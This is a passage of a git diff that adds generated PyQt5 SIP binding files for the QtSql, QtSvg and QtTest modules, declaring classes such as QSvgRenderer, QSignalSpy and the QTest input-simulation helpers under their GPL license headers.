INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +namespace QSql +{ +%TypeHeaderCode +#include +%End + + enum Location + { + BeforeFirstRow, + AfterLastRow, + }; + + enum ParamTypeFlag + { + In, + Out, + InOut, + Binary, + }; + + typedef QFlags ParamType; + + enum TableType + { + Tables, + SystemTables, + Views, + AllTables, + }; + + enum NumericalPrecisionPolicy + { + LowPrecisionInt32, + LowPrecisionInt64, + LowPrecisionDouble, + HighPrecision, + }; +}; + +%End +%If (Qt_5_8_0 -) +QFlags operator|(QSql::ParamTypeFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/QtSvg.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/QtSvg.toml new file mode 100644 index 00000000..429ca382 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/QtSvg.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtSvg. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/QtSvgmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/QtSvgmod.sip new file mode 100644 index 00000000..487fbcc6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/QtSvgmod.sip @@ -0,0 +1,53 @@ +// QtSvgmod.sip generated by MetaSIP +// +// This file is part of the QtSvg Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtSvg, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qgraphicssvgitem.sip +%Include qsvggenerator.sip +%Include qsvgrenderer.sip +%Include qsvgwidget.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qgraphicssvgitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qgraphicssvgitem.sip new file mode 100644 index 00000000..a5f368a3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qgraphicssvgitem.sip @@ -0,0 +1,57 @@ +// qgraphicssvgitem.sip generated by MetaSIP +// +// This file is part of the QtSvg Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsSvgItem : QGraphicsObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + if (sipCpp->type() == 13) + { + // Switch to the QObject convertor. + *sipCppRet = static_cast(sipCpp); + sipType = sipType_QObject; + } + else + sipType = 0; +%End + +public: + QGraphicsSvgItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsSvgItem(const QString &fileName, QGraphicsItem *parent /TransferThis/ = 0); + void setSharedRenderer(QSvgRenderer *renderer /KeepReference/); + QSvgRenderer *renderer() const; + void setElementId(const QString &id); + QString elementId() const; + void setMaximumCacheSize(const QSize &size); + QSize maximumCacheSize() const; + virtual QRectF boundingRect() const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual int type() const; +}; + +%ModuleCode +// This is needed by the %ConvertToSubClassCode. +#include +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvggenerator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvggenerator.sip new file mode 100644 index 00000000..ef7cb164 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvggenerator.sip @@ -0,0 +1,52 @@ +// qsvggenerator.sip generated by MetaSIP +// +// This file is part of the QtSvg Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSvgGenerator : QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + QSvgGenerator(); + virtual ~QSvgGenerator(); + QSize size() const; + void setSize(const QSize &size); + QString fileName() const; + void setFileName(const QString &fileName); + QIODevice *outputDevice() const; + void setOutputDevice(QIODevice *outputDevice); + int resolution() const; + void setResolution(int resolution); + QString title() const; + void setTitle(const QString &title); + QString description() const; + void setDescription(const QString &description); + QRect viewBox() const; + QRectF viewBoxF() const; + void setViewBox(const QRect &viewBox); + void setViewBox(const QRectF &viewBox); + +protected: + virtual QPaintEngine *paintEngine() const; + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvgrenderer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvgrenderer.sip new file mode 100644 index 00000000..21abb4dc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvgrenderer.sip @@ -0,0 +1,101 @@ +// qsvgrenderer.sip generated by MetaSIP +// +// This file is part of the QtSvg Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSvgRenderer : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QSvgRenderer, &sipType_QSvgRenderer, -1, 1}, + {sipName_QSvgWidget, &sipType_QSvgWidget, -1, 2}, + {sipName_QGraphicsSvgItem, &sipType_QGraphicsSvgItem, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QSvgRenderer(QObject *parent /TransferThis/ = 0); + QSvgRenderer(const QString &filename, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QSvgRenderer(const QByteArray &contents, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QSvgRenderer(QXmlStreamReader *contents, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + virtual ~QSvgRenderer(); + bool isValid() const; + QSize defaultSize() const; + bool elementExists(const QString &id) const; + QRect viewBox() const; + QRectF viewBoxF() const; + void setViewBox(const QRect &viewbox); + void setViewBox(const QRectF &viewbox); + bool animated() const; + QRectF boundsOnElement(const QString &id) const; + int framesPerSecond() const; + void setFramesPerSecond(int num); + int currentFrame() const; + void setCurrentFrame(int); + int animationDuration() const; + +public slots: + bool load(const QString &filename) /ReleaseGIL/; + bool load(const QByteArray &contents) /ReleaseGIL/; + bool load(QXmlStreamReader *contents) /ReleaseGIL/; + void render(QPainter *p) /ReleaseGIL/; + void render(QPainter *p, const QRectF &bounds) /ReleaseGIL/; + void render(QPainter *painter, const QString &elementId, const QRectF &bounds = QRectF()) /ReleaseGIL/; + +signals: + void repaintNeeded(); + +public: +%If (Qt_5_15_0 -) + Qt::AspectRatioMode aspectRatioMode() const; +%End +%If (Qt_5_15_0 -) + void setAspectRatioMode(Qt::AspectRatioMode mode); +%End +%If (Qt_5_15_0 -) + QTransform transformForElement(const QString &id) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvgwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvgwidget.sip new file mode 100644 index 00000000..efd879d5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSvg/qsvgwidget.sip @@ -0,0 +1,42 @@ +// qsvgwidget.sip generated by MetaSIP +// +// This file is part of the QtSvg Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSvgWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QSvgWidget(QWidget *parent /TransferThis/ = 0); + QSvgWidget(const QString &file, QWidget *parent /TransferThis/ = 0); + virtual ~QSvgWidget(); + QSvgRenderer *renderer() const; + virtual QSize sizeHint() const; + +public slots: + void load(const QString &file); + void load(const QByteArray &contents); + +protected: + virtual void paintEvent(QPaintEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/QtTest.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/QtTest.toml new file mode 100644 index 00000000..b2b435b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/QtTest.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtTest. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/QtTestmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/QtTestmod.sip new file mode 100644 index 00000000..5e1fec25 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/QtTestmod.sip @@ -0,0 +1,55 @@ +// QtTestmod.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtTest, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qabstractitemmodeltester.sip +%Include qsignalspy.sip +%Include qtestcase.sip +%Include qtestkeyboard.sip +%Include qtestmouse.sip +%Include qtestsystem.sip +%Include qtesttouch.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qabstractitemmodeltester.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qabstractitemmodeltester.sip new file mode 100644 index 00000000..5423a8e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qabstractitemmodeltester.sip @@ -0,0 +1,48 @@ +// qabstractitemmodeltester.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_11_0 -) + +class QAbstractItemModelTester : QObject +{ +%TypeHeaderCode +// Qt v5.11.0 needs this. +#include + +#include +%End + +public: + enum class FailureReportingMode + { + QtTest, + Warning, + Fatal, + }; + + QAbstractItemModelTester(QAbstractItemModel *model /KeepReference=1/, QObject *parent /TransferThis/ = 0); + QAbstractItemModelTester(QAbstractItemModel *model /KeepReference=1/, QAbstractItemModelTester::FailureReportingMode mode, QObject *parent /TransferThis/ = 0); + QAbstractItemModel *model() const; + QAbstractItemModelTester::FailureReportingMode failureReportingMode() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qsignalspy.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qsignalspy.sip new file mode 100644 index 00000000..d8f4a000 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qsignalspy.sip @@ -0,0 +1,105 @@ +// qsignalspy.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSignalSpy : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + sipType = (sipCpp->inherits("QSignalSpy") ? sipType_QSignalSpy : 0); + + #if QT_VERSION >= 0x050b00 + if (!sipType && sipCpp->inherits("QAbstractItemModelTester")) + sipType = sipType_QAbstractItemModelTester; + #endif +%End + +public: + QSignalSpy(SIP_PYOBJECT signal /TypeHint="pyqtBoundSignal"/) [(const QObject *obj, const char *aSignal)]; +%MethodCode + QObject *sender; + QByteArray signal_signature; + + if ((sipError = pyqt5_qttest_get_pyqtsignal_parts(a0, &sender, signal_signature)) == sipErrorNone) + sipCpp = new sipQSignalSpy(sender, signal_signature.constData()); + else if (sipError == sipErrorContinue) + sipError = sipBadCallableArg(0, a0); +%End + +%If (Qt_5_14_0 -) + QSignalSpy(const QObject *obj, const QMetaMethod &signal); +%End + bool isValid() const; + QByteArray signal() const; + bool wait(int timeout = 5000) /ReleaseGIL/; + int __len__() const; +%MethodCode + sipRes = sipCpp->count(); +%End + + QList __getitem__(int i) const; +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = new QList(sipCpp->at((int)idx)); +%End + + void __setitem__(int i, const QList &value); +%MethodCode + int len = sipCpp->count(); + + if ((a0 = (int)sipConvertFromSequenceIndex(a0, len)) < 0) + sipIsErr = 1; + else + (*sipCpp)[a0] = *a1; +%End + + void __delitem__(int i); +%MethodCode + if ((a0 = (int)sipConvertFromSequenceIndex(a0, sipCpp->count())) < 0) + sipIsErr = 1; + else + sipCpp->removeAt(a0); +%End +}; + +%ModuleHeaderCode +// Imports from QtCore. +typedef sipErrorState (*pyqt5_qttest_get_pyqtsignal_parts_t)(PyObject *, QObject **, QByteArray &); +extern pyqt5_qttest_get_pyqtsignal_parts_t pyqt5_qttest_get_pyqtsignal_parts; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qttest_get_pyqtsignal_parts_t pyqt5_qttest_get_pyqtsignal_parts; +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qttest_get_pyqtsignal_parts = (pyqt5_qttest_get_pyqtsignal_parts_t)sipImportSymbol("pyqt5_get_pyqtsignal_parts"); +Q_ASSERT(pyqt5_qttest_get_pyqtsignal_parts); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestcase.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestcase.sip new file mode 100644 index 00000000..28f3b938 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestcase.sip @@ -0,0 +1,30 @@ +// qtestcase.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QTest +{ +%TypeHeaderCode +#include +%End + + void qSleep(int ms) /ReleaseGIL/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestkeyboard.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestkeyboard.sip new file mode 100644 index 00000000..2f3ce929 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestkeyboard.sip @@ -0,0 +1,62 @@ +// qtestkeyboard.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QTest +{ +%TypeHeaderCode +#include +%End + + enum KeyAction + { + Press, + Release, + Click, +%If (Qt_5_6_0 -) + Shortcut, +%End + }; + + void keyClick(QWidget *widget, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyClick(QWidget *widget, char key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyClicks(QWidget *widget, const QString &sequence, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyEvent(QTest::KeyAction action, QWidget *widget, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyEvent(QTest::KeyAction action, QWidget *widget, char ascii, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyPress(QWidget *widget, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyPress(QWidget *widget, char key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyRelease(QWidget *widget, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyRelease(QWidget *widget, char key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); +%If (Qt_5_10_0 -) + void keySequence(QWidget *widget, const QKeySequence &keySequence); +%End + void keyEvent(QTest::KeyAction action, QWindow *window, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyEvent(QTest::KeyAction action, QWindow *window, char ascii, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyClick(QWindow *window, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyClick(QWindow *window, char key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyPress(QWindow *window, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyPress(QWindow *window, char key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyRelease(QWindow *window, Qt::Key key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); + void keyRelease(QWindow *window, char key, Qt::KeyboardModifiers modifier = Qt::NoModifier, int delay = -1); +%If (Qt_5_10_0 -) + void keySequence(QWindow *window, const QKeySequence &keySequence); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestmouse.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestmouse.sip new file mode 100644 index 00000000..d693756e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestmouse.sip @@ -0,0 +1,39 @@ +// qtestmouse.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QTest +{ +%TypeHeaderCode +#include +%End + + void mouseClick(QWidget *widget, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseDClick(QWidget *widget, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseMove(QWidget *widget, QPoint pos = QPoint(), int delay = -1); + void mousePress(QWidget *widget, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseRelease(QWidget *widget, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mousePress(QWindow *window, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseRelease(QWindow *window, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseClick(QWindow *window, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseDClick(QWindow *window, Qt::MouseButton button, Qt::KeyboardModifiers modifier = Qt::KeyboardModifiers(), QPoint pos = QPoint(), int delay = -1); + void mouseMove(QWindow *window, QPoint pos = QPoint(), int delay = -1); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestsystem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestsystem.sip new file mode 100644 index 00000000..4b71992d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtestsystem.sip @@ -0,0 +1,34 @@ +// qtestsystem.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QTest +{ +%TypeHeaderCode +#include +%End + + void qWait(int ms) /ReleaseGIL/; + bool qWaitForWindowActive(QWindow *window, int timeout = 5000) /ReleaseGIL/; + bool qWaitForWindowExposed(QWindow *window, int timeout = 5000) /ReleaseGIL/; + bool qWaitForWindowActive(QWidget *widget, int timeout = 5000) /ReleaseGIL/; + bool qWaitForWindowExposed(QWidget *widget, int timeout = 5000) /ReleaseGIL/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtesttouch.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtesttouch.sip new file mode 100644 index 00000000..0438c762 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTest/qtesttouch.sip @@ -0,0 +1,62 @@ +// qtesttouch.sip generated by MetaSIP +// +// This file is part of the QtTest Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QTest +{ +%TypeHeaderCode +#include +%End + + class QTouchEventSequence + { +%TypeHeaderCode +#include +%End + + public: + ~QTouchEventSequence(); + QTest::QTouchEventSequence &press(int touchId, const QPoint &pt, QWindow *window = 0); + QTest::QTouchEventSequence &move(int touchId, const QPoint &pt, QWindow *window = 0); + QTest::QTouchEventSequence &release(int touchId, const QPoint &pt, QWindow *window = 0); + QTest::QTouchEventSequence &stationary(int touchId); + QTest::QTouchEventSequence &press(int touchId, const QPoint &pt, QWidget *widget) [QTest::QTouchEventSequence & (int touchId, const QPoint &pt, QWidget *widget = 0)]; + QTest::QTouchEventSequence &move(int touchId, const QPoint &pt, QWidget *widget) [QTest::QTouchEventSequence & (int touchId, const QPoint &pt, QWidget *widget = 0)]; + QTest::QTouchEventSequence &release(int touchId, const QPoint &pt, QWidget *widget) [QTest::QTouchEventSequence & (int touchId, const QPoint &pt, QWidget *widget = 0)]; + void commit(bool processEvents = true) /ReleaseGIL/; + + private: + QTouchEventSequence(QWidget *widget, QTouchDevice 